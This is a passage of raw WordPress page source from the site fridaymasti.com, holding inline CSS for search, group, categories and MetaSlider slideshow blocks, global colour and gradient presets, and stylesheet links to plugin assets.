.wp-block-search__inside-wrapper{min-width:0!important;transition-property:width}.wp-block-search.wp-block-search__button-only .wp-block-search__input{flex-basis:100%;transition-duration:.3s}.wp-block-search.wp-block-search__button-only.wp-block-search__searchfield-hidden,.wp-block-search.wp-block-search__button-only.wp-block-search__searchfield-hidden .wp-block-search__inside-wrapper{overflow:hidden}.wp-block-search.wp-block-search__button-only.wp-block-search__searchfield-hidden .wp-block-search__input{border-left-width:0!important;border-right-width:0!important;flex-basis:0;flex-grow:0;margin:0;min-width:0!important;padding-left:0!important;padding-right:0!important;width:0!important}:where(.wp-block-search__input){-webkit-appearance:initial;-moz-appearance:initial;appearance:none;border:1px solid #949494;flex-grow:1;font-family:inherit;font-size:inherit;font-style:inherit;font-weight:inherit;letter-spacing:inherit;line-height:inherit;margin-left:0;margin-right:0;min-width:3rem;padding:8px;text-decoration:unset!important;text-transform:inherit}:where(.wp-block-search__button-inside .wp-block-search__inside-wrapper){background-color:#fff;border:1px solid #949494;box-sizing:border-box;padding:4px}:where(.wp-block-search__button-inside .wp-block-search__inside-wrapper) .wp-block-search__input{border:none;border-radius:0;padding:0 4px}:where(.wp-block-search__button-inside .wp-block-search__inside-wrapper) .wp-block-search__input:focus{outline:none}:where(.wp-block-search__button-inside .wp-block-search__inside-wrapper) :where(.wp-block-search__button){padding:4px 8px}.wp-block-search.aligncenter .wp-block-search__inside-wrapper{margin:auto}.wp-block[data-align=right] .wp-block-search.wp-block-search__button-only .wp-block-search__inside-wrapper{float:right} 1269/*# sourceURL=https://fridaymasti.com/wp-includes/blocks/search/style.min.css */ 1270</style> 1271<style id="wp-block-group-inline-css"> 1272.wp-block-group{box-sizing:border-box}:where(.wp-block-group.wp-block-group-is-layout-constrained){position:relative} 1273/*# sourceURL=https://fridaymasti.com/wp-includes/blocks/group/style.min.css */ 1274</style> 1275<link rel='stylesheet' id='metaslider-flex-slider-css' href='https://fridaymasti.com/wp-content/plugins/ml-slider/assets/sliders/flexslider/flexslider.css?ver=3.111.2' media='all' property='stylesheet' /> 1276<link rel='stylesheet' id='metaslider-public-css' href='https://fridaymasti.com/wp-content/plugins/ml-slider/assets/metaslider/public.css?ver=3.111.2' media='all' property='stylesheet' /> 1277<style id="metaslider-public-inline-css"> 1278#metaslider-id-4316 .flexslider .flex-direction-nav li a { background: #333333 } 1279#metaslider-id-4316 .flexslider .flex-direction-nav li a:hover { background: #333333 } 1280#metaslider-id-4316 .flexslider .flex-direction-nav li a:after { background-color: #ffffff } 1281#metaslider-id-4316 .flexslider .flex-direction-nav li a:hover:after { background-color: #ffffff } 1282#metaslider-id-4316 .flexslider .flex-control-nav li a:not(.flex-active) { background: rgba(0,0,0,0.5) } 1283#metaslider-id-4316 .flexslider .flex-control-nav li a:hover { background: rgba(0,0,0,0.7) } 1284#metaslider-id-4316 .flexslider .flex-control-nav li a.flex-active { background: rgba(0,0,0,0.9) } 1285#metaslider-id-4316 .flexslider .caption-wrap { background: #000000 } 1286#metaslider-id-4316 .flexslider .caption-wrap { color: #ffffff } 1287#metaslider-id-4316 .flexslider .caption-wrap a { color: #ffffff } 1288#metaslider-id-4316 .flexslider .flex-pauseplay .flex-pause, #metaslider-id-4316 .flexslider .flex-pauseplay .flex-play { background-color: #000000 } 1289#metaslider-id-4316 .flexslider .flex-pauseplay a:hover { background-color: #000000 } 1290#metaslider-id-4316 .flexslider .flex-pauseplay a:before { color: #ffffff } 1291#metaslider-id-4316 .flexslider .flex-pauseplay a:hover:before { color: #ffffff } 1292#metaslider-id-4316 .flex-viewport, #metaslider-id-4316 .slides { background: rgba(255,255,255,0) } 1293#metaslider-id-4316 .flexslider .flex-progress-bar { background-color: #fff } 1294@media only screen and (max-width: 767px) { .hide-arrows-smartphone .flex-direction-nav, .hide-navigation-smartphone .flex-control-paging, .hide-navigation-smartphone .flex-control-nav, .hide-navigation-smartphone .filmstrip, .hide-caption-smartphone .caption-wrap, .hide-slideshow-smartphone, .metaslider-hidden-content.hide-smartphone{ display: none!important; }}@media only screen and (min-width : 768px) and (max-width: 1023px) { .hide-arrows-tablet .flex-direction-nav, .hide-navigation-tablet .flex-control-paging, .hide-navigation-tablet .flex-control-nav, .hide-navigation-tablet .filmstrip, .hide-caption-tablet .caption-wrap, .hide-slideshow-tablet, .metaslider-hidden-content.hide-tablet{ display: none!important; }}@media only screen and (min-width : 1024px) and (max-width: 1439px) { .hide-arrows-laptop .flex-direction-nav, .hide-navigation-laptop .flex-control-paging, .hide-navigation-laptop .flex-control-nav, .hide-navigation-laptop .filmstrip, .hide-caption-laptop .caption-wrap, .hide-slideshow-laptop, .metaslider-hidden-content.hide-laptop{ display: none!important; }}
1294@media only screen and (min-width : 1440px) { .hide-arrows-desktop .flex-direction-nav, .hide-navigation-desktop .flex-control-paging, .hide-navigation-desktop .flex-control-nav, .hide-navigation-desktop .filmstrip, .hide-caption-desktop .caption-wrap, .hide-slideshow-desktop, .metaslider-hidden-content.hide-desktop{ display: none!important; }} 1295#metaslider-id-4316 .flexslider .flex-direction-nav li a { background: #333333 } 1296#metaslider-id-4316 .flexslider .flex-direction-nav li a:hover { background: #333333 } 1297#metaslider-id-4316 .flexslider .flex-direction-nav li a:after { background-color: #ffffff } 1298#metaslider-id-4316 .flexslider .flex-direction-nav li a:hover:after { background-color: #ffffff } 1299#metaslider-id-4316 .flexslider .flex-control-nav li a:not(.flex-active) { background: rgba(0,0,0,0.5) } 1300#metaslider-id-4316 .flexslider .flex-control-nav li a:hover { background: rgba(0,0,0,0.7) } 1301#metaslider-id-4316 .flexslider .flex-control-nav li a.flex-active { background: rgba(0,0,0,0.9) } 1302#metaslider-id-4316 .flexslider .caption-wrap { background: #000000 } 1303#metaslider-id-4316 .flexslider .caption-wrap { color: #ffffff } 1304#metaslider-id-4316 .flexslider .caption-wrap a { color: #ffffff } 1305#metaslider-id-4316 .flexslider .flex-pauseplay .flex-pause, #metaslider-id-4316 .flexslider .flex-pauseplay .flex-play { background-color: #000000 } 1306#metaslider-id-4316 .flexslider .flex-pauseplay a:hover { background-color: #000000 } 1307#metaslider-id-4316 .flexslider .flex-pauseplay a:before { color: #ffffff } 1308#metaslider-id-4316 .flexslider .flex-pauseplay a:hover:before { color: #ffffff } 1309#metaslider-id-4316 .flex-viewport, #metaslider-id-4316 .slides { background: rgba(255,255,255,0) } 1310#metaslider-id-4316 .flexslider .flex-progress-bar { background-color: #fff } 1311@media only screen and (max-width: 767px) { .hide-arrows-smartphone .flex-direction-nav, .hide-navigation-smartphone .flex-control-paging, .hide-navigation-smartphone .flex-control-nav, .hide-navigation-smartphone .filmstrip, .hide-caption-smartphone .caption-wrap, .hide-slideshow-smartphone, .metaslider-hidden-content.hide-smartphone{ display: none!important; }}@media only screen and (min-width : 768px) and (max-width: 1023px) { .hide-arrows-tablet .flex-direction-nav, .hide-navigation-tablet .flex-control-paging, .hide-navigation-tablet .flex-control-nav, .hide-navigation-tablet .filmstrip, .hide-caption-tablet .caption-wrap, .hide-slideshow-tablet, .metaslider-hidden-content.hide-tablet{ display: none!important; }}@media only screen and (min-width : 1024px) and (max-width: 1439px) { .hide-arrows-laptop .flex-direction-nav, .hide-navigation-laptop .flex-control-paging, .hide-navigation-laptop .flex-control-nav, .hide-navigation-laptop .filmstrip, .hide-caption-laptop .caption-wrap, .hide-slideshow-laptop, .metaslider-hidden-content.hide-laptop{ display: none!important; }}@media only screen and (min-width : 1440px) { .hide-arrows-desktop .flex-direction-nav, .hide-navigation-desktop .flex-control-paging, .hide-navigation-desktop .flex-control-nav, .hide-navigation-desktop .filmstrip, .hide-caption-desktop .caption-wrap, .hide-slideshow-desktop, .metaslider-hidden-content.hide-desktop{ display: none!important; }} 1312#metaslider-id-4316 .flexslider .flex-direction-nav li a { background: #333333 } 1313#metaslider-id-4316 .flexslider .flex-direction-nav li a:hover { background: #333333 } 1314#metaslider-id-4316 .flexslider .flex-direction-nav li a:after { background-color: #ffffff } 1315#metaslider-id-4316 .flexslider .flex-direction-nav li a:hover:after { background-color: #ffffff } 1316#metaslider-id-4316 .flexslider .flex-control-nav li a:not(.flex-active) { background: rgba(0,0,0,0.5) } 1317#metaslider-id-4316 .flexslider .flex-control-nav li a:hover { background: rgba(0,0,0,0.7) } 1318#metaslider-id-4316 .flexslider .flex-control-nav li a.flex-active { background: rgba(0,0,0,0.9) } 1319#metaslider-id-4316 .flexslider .caption-wrap { background: #000000 } 1320#metaslider-id-4316 .flexslider .caption-wrap { color: #ffffff } 1321#metaslider-id-4316 .flexslider .caption-wrap a { color: #ffffff } 1322#metaslider-id-4316 .flexslider .flex-pauseplay .flex-pause, #metaslider-id-4316 .flexslider .flex-pauseplay .flex-play { background-color: #000000 } 1323#metaslider-id-4316 .flexslider .flex-pauseplay a:hover { background-color: #000000 } 1324#metaslider-id-4316 .flexslider .flex-pauseplay a:before { color: #ffffff } 1325#metaslider-id-4316 .flexslider .flex-pauseplay a:hover:before { color: #ffffff } 1326#metaslider-id-4316 .flex-viewport, #metaslider-id-4316 .slides { background: rgba(255,255,255,0) } 1327#metaslider-id-4316 .flexslider .flex-progress-bar { background-color: #fff } 1328@media only screen and (max-width: 767px) { .hide-arrows-smartphone .flex-direction-nav, .hide-navigation-smartphone .flex-control-paging, .hide-navigation-smartphone .flex-control-nav, .hide-navigation-smartphone .filmstrip, .hide-caption-smartphone .caption-wrap, .hide-slideshow-smartphone, .metaslider-hidden-content.hide-smartphone{ display: none!important; }}@media only screen and (min-width : 768px) and (max-width: 1023px) { .hide-arrows-tablet .flex-direction-nav, .hide-navigation-tablet .flex-control-paging, .hide-navigation-tablet .flex-control-nav, .hide-navigation-tablet .filmstrip, .hide-caption-tablet .caption-wrap, .hide-slideshow-tablet, .metaslider-hidden-content.hide-tablet{ display: none!important; }}@media only screen and (min-width : 1024px) and (max-width: 1439px) { .hide-arrows-laptop .flex-direction-nav, .hide-navigation-laptop .flex-control-paging, .hide-navigation-laptop .flex-control-nav, .hide-navigation-laptop .filmstrip, .hide-caption-laptop .caption-wrap, .hide-slideshow-laptop, .metaslider-hidden-content.hide-laptop{ display: none!important; }}
1328@media only screen and (min-width : 1440px) { .hide-arrows-desktop .flex-direction-nav, .hide-navigation-desktop .flex-control-paging, .hide-navigation-desktop .flex-control-nav, .hide-navigation-desktop .filmstrip, .hide-caption-desktop .caption-wrap, .hide-slideshow-desktop, .metaslider-hidden-content.hide-desktop{ display: none!important; }} 1329#metaslider-id-4316 .flexslider .flex-direction-nav li a { background: #333333 } 1330#metaslider-id-4316 .flexslider .flex-direction-nav li a:hover { background: #333333 } 1331#metaslider-id-4316 .flexslider .flex-direction-nav li a:after { background-color: #ffffff } 1332#metaslider-id-4316 .flexslider .flex-direction-nav li a:hover:after { background-color: #ffffff } 1333#metaslider-id-4316 .flexslider .flex-control-nav li a:not(.flex-active) { background: rgba(0,0,0,0.5) } 1334#metaslider-id-4316 .flexslider .flex-control-nav li a:hover { background: rgba(0,0,0,0.7) } 1335#metaslider-id-4316 .flexslider .flex-control-nav li a.flex-active { background: rgba(0,0,0,0.9) } 1336#metaslider-id-4316 .flexslider .caption-wrap { background: #000000 } 1337#metaslider-id-4316 .flexslider .caption-wrap { color: #ffffff } 1338#metaslider-id-4316 .flexslider .caption-wrap a { color: #ffffff } 1339#metaslider-id-4316 .flexslider .flex-pauseplay .flex-pause, #metaslider-id-4316 .flexslider .flex-pauseplay .flex-play { background-color: #000000 } 1340#metaslider-id-4316 .flexslider .flex-pauseplay a:hover { background-color: #000000 } 1341#metaslider-id-4316 .flexslider .flex-pauseplay a:before { color: #ffffff } 1342#metaslider-id-4316 .flexslider .flex-pauseplay a:hover:before { color: #ffffff } 1343#metaslider-id-4316 .flex-viewport, #metaslider-id-4316 .slides { background: rgba(255,255,255,0) } 1344#metaslider-id-4316 .flexslider .flex-progress-bar { background-color: #fff } 1345@media only screen and (max-width: 767px) { .hide-arrows-smartphone .flex-direction-nav, .hide-navigation-smartphone .flex-control-paging, .hide-navigation-smartphone .flex-control-nav, .hide-navigation-smartphone .filmstrip, .hide-caption-smartphone .caption-wrap, .hide-slideshow-smartphone, .metaslider-hidden-content.hide-smartphone{ display: none!important; }}@media only screen and (min-width : 768px) and (max-width: 1023px) { .hide-arrows-tablet .flex-direction-nav, .hide-navigation-tablet .flex-control-paging, .hide-navigation-tablet .flex-control-nav, .hide-navigation-tablet .filmstrip, .hide-caption-tablet .caption-wrap, .hide-slideshow-tablet, .metaslider-hidden-content.hide-tablet{ display: none!important; }}@media only screen and (min-width : 1024px) and (max-width: 1439px) { .hide-arrows-laptop .flex-direction-nav, .hide-navigation-laptop .flex-control-paging, .hide-navigation-laptop .flex-control-nav, .hide-navigation-laptop .filmstrip, .hide-caption-laptop .caption-wrap, .hide-slideshow-laptop, .metaslider-hidden-content.hide-laptop{ display: none!important; }}@media only screen and (min-width : 1440px) { .hide-arrows-desktop .flex-direction-nav, .hide-navigation-desktop .flex-control-paging, .hide-navigation-desktop .flex-control-nav, .hide-navigation-desktop .filmstrip, .hide-caption-desktop .caption-wrap, .hide-slideshow-desktop, .metaslider-hidden-content.hide-desktop{ display: none!important; }} 1346#metaslider-id-4316 .flexslider .flex-direction-nav li a { background: #333333 } 1347#metaslider-id-4316 .flexslider .flex-direction-nav li a:hover { background: #333333 } 1348#metaslider-id-4316 .flexslider .flex-direction-nav li a:after { background-color: #ffffff } 1349#metaslider-id-4316 .flexslider .flex-direction-nav li a:hover:after { background-color: #ffffff } 1350#metaslider-id-4316 .flexslider .flex-control-nav li a:not(.flex-active) { background: rgba(0,0,0,0.5) } 1351#metaslider-id-4316 .flexslider .flex-control-nav li a:hover { background: rgba(0,0,0,0.7) } 1352#metaslider-id-4316 .flexslider .flex-control-nav li a.flex-active { background: rgba(0,0,0,0.9) } 1353#metaslider-id-4316 .flexslider .caption-wrap { background: #000000 } 1354#metaslider-id-4316 .flexslider .caption-wrap { color: #ffffff } 1355#metaslider-id-4316 .flexslider .caption-wrap a { color: #ffffff } 1356#metaslider-id-4316 .flexslider .flex-pauseplay .flex-pause, #metaslider-id-4316 .flexslider .flex-pauseplay .flex-play { background-color: #000000 } 1357#metaslider-id-4316 .flexslider .flex-pauseplay a:hover { background-color: #000000 } 1358#metaslider-id-4316 .flexslider .flex-pauseplay a:before { color: #ffffff } 1359#metaslider-id-4316 .flexslider .flex-pauseplay a:hover:before { color: #ffffff } 1360#metaslider-id-4316 .flex-viewport, #metaslider-id-4316 .slides { background: rgba(255,255,255,0) } 1361#metaslider-id-4316 .flexslider .flex-progress-bar { background-color: #fff } 1362@media only screen and (max-width: 767px) { .hide-arrows-smartphone .flex-direction-nav, .hide-navigation-smartphone .flex-control-paging, .hide-navigation-smartphone .flex-control-nav, .hide-navigation-smartphone .filmstrip, .hide-caption-smartphone .caption-wrap, .hide-slideshow-smartphone, .metaslider-hidden-content.hide-smartphone{ display: none!important; }}@media only screen and (min-width : 768px) and (max-width: 1023px) { .hide-arrows-tablet .flex-direction-nav, .hide-navigation-tablet .flex-control-paging, .hide-navigation-tablet .flex-control-nav, .hide-navigation-tablet .filmstrip, .hide-caption-tablet .caption-wrap, .hide-slideshow-tablet, .metaslider-hidden-content.hide-tablet{ display: none!important; }}@media only screen and (min-width : 1024px) and (max-width: 1439px) { .hide-arrows-laptop .flex-direction-nav, .hide-navigation-laptop .flex-control-paging, .hide-navigation-laptop .flex-control-nav, .hide-navigation-laptop .filmstrip, .hide-caption-laptop .caption-wrap, .hide-slideshow-laptop, .metaslider-hidden-content.hide-laptop{ display: none!important; }}
1362@media only screen and (min-width : 1440px) { .hide-arrows-desktop .flex-direction-nav, .hide-navigation-desktop .flex-control-paging, .hide-navigation-desktop .flex-control-nav, .hide-navigation-desktop .filmstrip, .hide-caption-desktop .caption-wrap, .hide-slideshow-desktop, .metaslider-hidden-content.hide-desktop{ display: none!important; }} 1363#metaslider-id-4316 .flexslider .flex-direction-nav li a { background: #333333 } 1364#metaslider-id-4316 .flexslider .flex-direction-nav li a:hover { background: #333333 } 1365#metaslider-id-4316 .flexslider .flex-direction-nav li a:after { background-color: #ffffff } 1366#metaslider-id-4316 .flexslider .flex-direction-nav li a:hover:after { background-color: #ffffff } 1367#metaslider-id-4316 .flexslider .flex-control-nav li a:not(.flex-active) { background: rgba(0,0,0,0.5) } 1368#metaslider-id-4316 .flexslider .flex-control-nav li a:hover { background: rgba(0,0,0,0.7) } 1369#metaslider-id-4316 .flexslider .flex-control-nav li a.flex-active { background: rgba(0,0,0,0.9) } 1370#metaslider-id-4316 .flexslider .caption-wrap { background: #000000 } 1371#metaslider-id-4316 .flexslider .caption-wrap { color: #ffffff } 1372#metaslider-id-4316 .flexslider .caption-wrap a { color: #ffffff } 1373#metaslider-id-4316 .flexslider .flex-pauseplay .flex-pause, #metaslider-id-4316 .flexslider .flex-pauseplay .flex-play { background-color: #000000 } 1374#metaslider-id-4316 .flexslider .flex-pauseplay a:hover { background-color: #000000 } 1375#metaslider-id-4316 .flexslider .flex-pauseplay a:before { color: #ffffff } 1376#metaslider-id-4316 .flexslider .flex-pauseplay a:hover:before { color: #ffffff } 1377#metaslider-id-4316 .flex-viewport, #metaslider-id-4316 .slides { background: rgba(255,255,255,0) } 1378#metaslider-id-4316 .flexslider .flex-progress-bar { background-color: #fff } 1379@media only screen and (max-width: 767px) { .hide-arrows-smartphone .flex-direction-nav, .hide-navigation-smartphone .flex-control-paging, .hide-navigation-smartphone .flex-control-nav, .hide-navigation-smartphone .filmstrip, .hide-caption-smartphone .caption-wrap, .hide-slideshow-smartphone, .metaslider-hidden-content.hide-smartphone{ display: none!important; }}@media only screen and (min-width : 768px) and (max-width: 1023px) { .hide-arrows-tablet .flex-direction-nav, .hide-navigation-tablet .flex-control-paging, .hide-navigation-tablet .flex-control-nav, .hide-navigation-tablet .filmstrip, .hide-caption-tablet .caption-wrap, .hide-slideshow-tablet, .metaslider-hidden-content.hide-tablet{ display: none!important; }}@media only screen and (min-width : 1024px) and (max-width: 1439px) { .hide-arrows-laptop .flex-direction-nav, .hide-navigation-laptop .flex-control-paging, .hide-navigation-laptop .flex-control-nav, .hide-navigation-laptop .filmstrip, .hide-caption-laptop .caption-wrap, .hide-slideshow-laptop, .metaslider-hidden-content.hide-laptop{ display: none!important; }}@media only screen and (min-width : 1440px) { .hide-arrows-desktop .flex-direction-nav, .hide-navigation-desktop .flex-control-paging, .hide-navigation-desktop .flex-control-nav, .hide-navigation-desktop .filmstrip, .hide-caption-desktop .caption-wrap, .hide-slideshow-desktop, .metaslider-hidden-content.hide-desktop{ display: none!important; }} 1380/*# sourceURL=metaslider-public-inline-css */ 1381</style> 1382<link rel='stylesheet' id='metaslider_default-base_theme_styles-css' href='https://fridaymasti.com/wp-content/plugins/ml-slider/themes/default-base/v1.0.0/style.css?ver=3.111.2' media='all' property='stylesheet' /> 1383<style id="wp-block-categories-inline-css"> 1384.wp-block-categories{box-sizing:border-box}.wp-block-categories.alignleft{margin-right:2em}.wp-block-categories.alignright{margin-left:2em}.wp-block-categories.wp-block-categories-dropdown.aligncenter{text-align:center}.wp-block-categories .wp-block-categories__label:not(.screen-reader-text){display:block;width:100%} 1385/*# sourceURL=https://fridaymasti.com/wp-includes/blocks/categories/style.min.css */ 1386</style> 1387<style id="global-styles-inline-css"> 1388:root{--wp--preset--aspect-ratio--square: 1;--wp--preset--aspect-ratio--4-3: 4/3;--wp--preset--aspect-ratio--3-4: 3/4;--wp--preset--aspect-ratio--3-2: 3/2;--wp--preset--aspect-ratio--2-3: 2/3;--wp--preset--aspect-ratio--16-9: 16/9;--wp--preset--aspect-ratio--9-16: 9/16;--wp--preset--color--black: #000000;--wp--preset--color--cyan-bluish-gray: #abb8c3;--wp--preset--color--white: #ffffff;--wp--preset--color--pale-pink: #f78da7;--wp--preset--color--vivid-red: #cf2e2e;--wp--preset--color--luminous-vivid-orange: #ff6900;--wp--preset--color--luminous-vivid-amber: #fcb900;--wp--preset--color--light-green-cyan: #7bdcb5;--wp--preset--color--vivid-green-cyan: #00d084;--wp--preset--color--pale-cyan-blue: #8ed1fc;--wp--preset--color--vivid-cyan-blue: #0693e3;--wp--preset--color--vivid-purple: #9b51e0;--wp--preset--gradient--vivid-cyan-blue-to-vivid-purple: linear-gradient(135deg,rgb(6,147,227) 0%,rgb(155,81,224) 100%);--wp--preset--gradient--light-green-cyan-to-vivid-green-cyan: linear-gradient(135deg,rgb(122,220,180) 0%,rgb(0,208,130) 100%);--wp--preset--gradient--luminous-vivid-amber-to-luminous-vivid-orange: linear-gradient(135deg,rgb(252,185,
13880) 0%,rgb(255,105,0) 100%);--wp--preset--gradient--luminous-vivid-orange-to-vivid-red: linear-gradient(135deg,rgb(255,105,0) 0%,rgb(207,46,46) 100%);--wp--preset--gradient--very-light-gray-to-cyan-bluish-gray: linear-gradient(135deg,rgb(238,238,238) 0%,rgb(169,184,195) 100%);--wp--preset--gradient--cool-to-warm-spectrum: linear-gradient(135deg,rgb(74,234,220) 0%,rgb(151,120,209) 20%,rgb(207,42,186) 40%,rgb(238,44,130) 60%,rgb(251,105,98) 80%,rgb(254,248,76) 100%);--wp--preset--gradient--blush-light-purple: linear-gradient(135deg,rgb(255,206,236) 0%,rgb(152,150,240) 100%);--wp--preset--gradient--blush-bordeaux: linear-gradient(135deg,rgb(254,205,165) 0%,rgb(254,45,45) 50%,rgb(107,0,62) 100%);--wp--preset--gradient--luminous-dusk: linear-gradient(135deg,rgb(255,203,112) 0%,rgb(199,81,192) 50%,rgb(65,88,208) 100%);--wp--preset--gradient--pale-ocean: linear-gradient(135deg,rgb(255,245,203) 0%,rgb(182,227,212) 50%,rgb(51,167,181) 100%);--wp--preset--gradient--electric-grass: linear-gradient(135deg,rgb(202,248,128) 0%,rgb(113,206,126) 100%);--wp--preset--gradient--midnight: linear-gradient(135deg,rgb(2,3,129) 0%,rgb(40,116,252) 100%);--wp--preset--font-size--small: 13px;--wp--preset--font-size--medium: 20px;--wp--preset--font-size--large: 36px;--wp--preset--font-size--x-large: 42px;--wp--preset--font-family--inter: "Inter", sans-serif;--wp--preset--font-family--cardo: Cardo;--wp--preset--spacing--20: 0.44rem;--wp--preset--spacing--30: 0.67rem;--wp--preset--spacing--40: 1rem;--wp--preset--spacing--50: 1.5rem;--wp--preset--spacing--60: 2.25rem;--wp--preset--spacing--70: 3.38rem;--wp--preset--spacing--80: 5.06rem;--wp--preset--shadow--natural: 6px 6px 9px rgba(0, 0, 0, 0.2);--wp--preset--shadow--deep: 12px 12px 50px rgba(0, 0, 0, 0.4);--wp--preset--shadow--sharp: 6px 6px 0px rgba(0, 0, 0, 0.2);--wp--preset--shadow--outlined: 6px 6px 0px -3px rgb(255, 255, 255), 6px 6px rgb(0, 0, 0);--wp--preset--shadow--crisp: 6px 6px 0px rgb(0, 0, 0);}.wp-block-button{--wp--preset--dimension--25: 25%;--wp--preset--dimension--50: 50%;--wp--preset--dimension--75: 75%;--wp--preset--dimension--100: 100%;}:where(body) { margin: 0; }:where(.is-layout-flex){gap: 0.5em;}:where(.is-layout-grid){gap: 0.5em;}body .is-layout-flex{display: flex;}.is-layout-flex{flex-wrap: wrap;align-items: center;}.is-layout-flex > :is(*, div){margin: 0;}body .is-layout-grid{display: grid;}.is-layout-grid > :is(*, div){margin: 0;}body{padding-top: 0px;padding-right: 0px;padding-bottom: 0px;padding-left: 0px;}:root :where(.wp-element-button, .wp-block-button__link){background-color: #32373c;border-width: 0;color: #fff;font-family: inherit;font-size: inherit;font-style: inherit;font-weight: inherit;letter-spacing: inherit;line-height: inherit;padding-top: calc(0.667em + 2px);padding-right: calc(1.333em + 2px);padding-bottom: calc(0.667em + 2px);padding-left: calc(1.333em + 2px);text-decoration: none;text-transform: inherit;}.has-black-color{color: var(--wp--preset--color--black) !important;}.has-cyan-bluish-gray-color{color: var(--wp--preset--color--cyan-bluish-gray) !important;}.has-white-color{color: var(--wp--preset--color--white) !important;}.has-pale-pink-color{color: var(--wp--preset--color--pale-pink) !important;}.has-vivid-red-color{color: var(--wp--preset--color--vivid-red) !important;}.has-luminous-vivid-orange-color{color: var(--wp--preset--color--luminous-vivid-orange) !important;}.has-luminous-vivid-amber-color{color: var(--wp--preset--color--luminous-vivid-amber) !important;}.has-light-green-cyan-color{color: var(--wp--preset--color--light-green-cyan) !important;}.has-vivid-green-cyan-color{color: var(--wp--preset--color--vivid-green-cyan) !important;}.has-pale-cyan-blue-color{color: var(--wp--preset--color--pale-cyan-blue) !important;}.has-vivid-cyan-blue-color{color: var(--wp--preset--color--vivid-cyan-blue) !important;}.has-vivid-purple-color{color: var(--wp--preset--color--vivid-purple) !important;}.has-black-background-color{background-color: var(--wp--preset--color--black) !important;}.has-cyan-bluish-gray-background-color{background-color: var(--wp--preset--color--cyan-bluish-gray) !important;}.has-white-background-color{background-color: var(--wp--preset--color--white) !important;}.has-pale-pink-background-color{background-color: var(--wp--preset--color--pale-pink) !important;}.has-vivid-red-background-color{background-color: var(--wp--preset--color--vivid-red) !important;}.has-luminous-vivid-orange-background-color{background-color: var(--wp--preset--color--luminous-vivid-orange) !important;}.has-luminous-vivid-amber-background-color{background-color: var(--wp--preset--color--luminous-vivid-amber) !important;}.has-light-green-cyan-background-color{background-color: var(--wp--preset--color--light-green-cyan) !important;}.has-vivid-green-cyan-background-color{background-color: var(--wp--preset--color--vivid-green-cyan) !important;}.has-pale-cyan-blue-background-color{background-color: var(--wp--preset--color--pale-cyan-blue) !important;}.has-vivid-cyan-blue-background-color{background-color: var(--wp--preset--color--vivid-cyan-blue) !important;}.has-vivid-purple-background-color{background-color: var(--wp--preset--color--vivid-purple) !important;}.has-black-border-color{border-color: var(--wp--preset--color--black) !important;}.has-cyan-bluish-gray-border-color{border-color: var(--wp--preset--color--cyan-bluish-gray) !important;}.has-white-border-color{border-color: var(--wp--preset--color--white) !important;}.has-pale-pink-border-color{border-color: var(--wp--preset--color--pale-pink) !important;}.has-vivid-red-border-color{border-color: var(--wp--preset--color--vivid-red) !important;}.has-luminous-vivid-orange-border-color{border-color: var(--wp--preset--color--luminous-vivid-orange) !important;}.has-luminous-vivid-amber-border-color{border-color: var(--wp--preset--color--luminous-vivid-amber) !important;}.has-light-green-cyan-border-color{border-color: var(--wp--preset--color--light-green-cyan) !important;}.has-vivid-green-cyan-border-color{border-color: var(--wp--preset--color--vivid-green-cyan) !important;}.has-pale-cyan-blue-border-color{border-color: var(--wp--preset--color--pale-cyan-blue) !important;}.has-vivid-cyan-blue-border-color{border-color: var(--wp--preset--color--vivid-cyan-blue) !important;}.has-vivid-purple-border-color{border-color: var(--wp--preset--color--vivid-purple) !important;}.has-vivid-cyan-blue-to-vivid-purple-gradient-background{background: var(--wp--preset--gradient--vivid-cyan-blue-to-vivid-purple) !important;}.has-light-green-cyan-to-vivid-green-cyan-gradient-background{background: var(--wp--preset--gradient--light-green-cyan-to-vivid-green-cyan) !important;}.has-luminous-vivid-amber-to-luminous-vivid-orange-gradient-background{background: var(--wp--preset--gradient--luminous-vivid-amber-to-luminous-vivid-orange) !important;}.has-luminous-vivid-orange-to-vivid-red-gradient-background{background: var(--wp--preset--gradient--luminous-vivid-orange-to-vivid-red) !important;}
1388.has-very-light-gray-to-cyan-bluish-gray-gradient-background{background: var(--wp--preset--gradient--very-light-gray-to-cyan-bluish-gray) !important;}.has-cool-to-warm-spectrum-gradient-background{background: var(--wp--preset--gradient--cool-to-warm-spectrum) !important;}.has-blush-light-purple-gradient-background{background: var(--wp--preset--gradient--blush-light-purple) !important;}.has-blush-bordeaux-gradient-background{background: var(--wp--preset--gradient--blush-bordeaux) !important;}.has-luminous-dusk-gradient-background{background: var(--wp--preset--gradient--luminous-dusk) !important;}.has-pale-ocean-gradient-background{background: var(--wp--preset--gradient--pale-ocean) !important;}.has-electric-grass-gradient-background{background: var(--wp--preset--gradient--electric-grass) !important;}.has-midnight-gradient-background{background: var(--wp--preset--gradient--midnight) !important;}.has-small-font-size{font-size: var(--wp--preset--font-size--small) !important;}.has-medium-font-size{font-size: var(--wp--preset--font-size--medium) !important;}.has-large-font-size{font-size: var(--wp--preset--font-size--large) !important;}.has-x-large-font-size{font-size: var(--wp--preset--font-size--x-large) !important;}.has-inter-font-family{font-family: var(--wp--preset--font-family--inter) !important;}.has-cardo-font-family{font-family: var(--wp--preset--font-family--cardo) !important;} 1389/*# sourceURL=global-styles-inline-css */ 1390</style> 1391<style id="core-block-supports-inline-css"> 1392.wp-elements-1 a:where(:not(.wp-element-button)){color:var(--wp--preset--color--luminous-vivid-orange);}.wp-elements-2 a:where(:not(.wp-element-button)){color:var(--wp--preset--color--luminous-vivid-orange);}.wp-elements-3 a:where(:not(.wp-element-button)){color:var(--wp--preset--color--luminous-vivid-orange);}.wp-elements-4 a:where(:not(.wp-element-button)){color:var(--wp--preset--color--luminous-vivid-orange);}.wp-elements-5 a:where(:not(.wp-element-button)){color:var(--wp--preset--color--vivid-green-cyan);}.wp-elements-6 a:where(:not(.wp-element-button)){color:var(--wp--preset--color--luminous-vivid-orange);}.wp-elements-7 a:where(:not(.wp-element-button)){color:var(--wp--preset--color--vivid-green-cyan);}.wp-elements-8 a:where(:not(.wp-element-button)){color:var(--wp--preset--color--luminous-vivid-orange);}.wp-elements-9 a:where(:not(.wp-element-button)){color:var(--wp--preset--color--vivid-green-cyan);}.wp-elements-10 a:where(:not(.wp-element-button)){color:var(--wp--preset--color--luminous-vivid-orange);}.wp-elements-11 a:where(:not(.wp-element-button)){color:var(--wp--preset--color--vivid-green-cyan);}.wp-elements-12 a:where(:not(.wp-element-button)){color:var(--wp--preset--color--luminous-vivid-orange);}.wp-elements-13 a:where(:not(.wp-element-button)){color:var(--wp--preset--color--vivid-green-cyan);}.wp-elements-14 